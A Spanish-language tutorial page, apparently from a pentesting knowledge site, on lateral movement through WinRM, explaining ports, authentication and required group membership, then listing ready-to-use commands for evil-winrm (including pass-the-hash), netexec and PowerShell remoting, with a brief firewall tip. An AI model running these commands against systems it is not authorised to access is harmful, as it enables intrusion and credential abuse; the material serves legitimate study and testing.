Movimiento lateral

Movimiento lateral con WinRM

Cómo un atacante con credenciales válidas abre una sesión de PowerShell remota y ejecuta comandos en otro host.

Qué es

El movimiento lateral con WinRM usa el servicio de administración remota de Windows para ejecutar comandos en otro host. El atacante entra con credenciales válidas y obtiene una sesión de PowerShell con los privilegios de esa cuenta.

Cómo funciona

WinRM es el transporte de PowerShell Remoting. Escucha en el puerto 5985 (HTTP) o 5986 (HTTPS). Viene activo por defecto en Windows Server 2012 y posterior.

Autentica con Kerberos o NTLM, igual que un administrador real. El sistema no distingue la sesión del atacante de la de un administrador: el protocolo y la autenticación son los mismos. No crea un servicio nuevo en el destino, así que deja menos rastro que PsExec.

La cuenta necesita acceso remoto en el destino: grupo Administradores locales o grupo Remote Management Users.

Diagrama

Comandos

Shell interactiva de WinRM desde Linux, con contraseña:

evil-winrm -i <IP> -u <USER> -p <PASSWORD>

Igual, pero con el hash NT (Pass the Hash):

evil-winrm -i <IP> -u <USER> -H <HASH>

Validar acceso WinRM sobre uno o varios hosts:

netexec winrm <IP> -u <USER> -p <PASSWORD>

Ejecutar un comando sin sesión interactiva:

netexec winrm <IP> -u <USER> -p <PASSWORD> -x "whoami"

Sesión remota nativa desde Windows:

Enter-PSSession -ComputerName <HOST> -Credential <DOMAIN>\<USER>

Comando puntual por WinRM, sin sesión interactiva:

Invoke-Command -ComputerName <HOST> -Credential <DOMAIN>\<USER> -ScriptBlock { whoami }

Cómo defenderse

Restringe WinRM a hosts de administración designados con reglas de firewall: corta el acceso desde cualquier otro origen.

Siguiente

Puedes seguir leyendo aquí:

Movimiento lateralEjecución lateral con DCOM

No te pierdas ninguna noticia

Recibe un correo cuando haya alguna actualización importante.

Al suscribirte aceptas la política de privacidad.